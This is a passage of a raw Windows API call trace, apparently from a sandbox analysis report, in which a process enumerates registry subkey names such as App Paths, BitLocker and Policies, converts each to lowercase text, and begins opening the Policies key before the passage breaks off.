RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x3ab930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0175.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x3ac0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0175.702] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x3ab930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0175.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x3ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0175.702] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x3ab930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0175.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x3ac0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0175.702] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x3ab930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0175.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x3ac120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0175.702] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x3ab930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0175.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x3ac0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0175.702] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x3ab930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0175.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x3ac120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0175.703] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x3ab930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0175.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0175.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x3ac0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0175.703] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x3ab930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0175.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x3ac120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0175.703] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x3ab930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0175.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x3ac0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0175.703] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x3ab930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0175.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x3ac120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0175.703] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x3ab930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0175.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0175.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x3ac0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0175.703] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x3ab930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0175.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x3ac120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0175.703] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x3ab930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0175.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x3ac0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0175.704] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x3ab930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0175.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x3ac120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0175.704] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x3ab930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0175.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x3ac0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0175.704] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x3ab930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0175.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x3ac120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0175.704] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x3ab930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0175.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x3ac0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0175.704] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x3ab930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0175.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x3ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0175.704] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x3ab930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0175.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x3ac0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0175.704] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x3ab930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0175.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x3ac120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0175.705] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x3ab930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0175.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x3ac0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0175.705] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x3ab930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0175.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x3ac120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0175.705] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x3ab930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0175.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x3ac0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0175.705] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x3ab930, cchName=0x104 | out: lpName="IME") returned 0x0 [0175.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x3ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0175.705] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x3ab930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0175.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x3ac0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0175.705] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x3ab930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0175.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x3ac120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0175.705] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x3ab930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0175.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x3ac0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0175.706] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x3ab930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0175.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x3ac120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0175.706] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x3ab930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0175.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x3ac0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0175.706] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x3ab930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0175.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x3ac120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0175.706] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x3ab930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0175.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x3ac0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0175.706] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x3ab930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0175.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x3ac120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0175.706] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x3ab930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0175.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x3ac0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0175.706] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x3ab930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0175.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x3ac120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0175.707] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x3ab930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0175.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x3ac0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0175.707] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x3ab930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0175.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x3ac120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0175.707] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x3ab930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0175.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0175.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x3ac0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0175.707] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x3ab930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0175.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x3ac120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0175.707] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x3ab930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0175.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x3ac0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0175.707] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x19f8e8 | out: 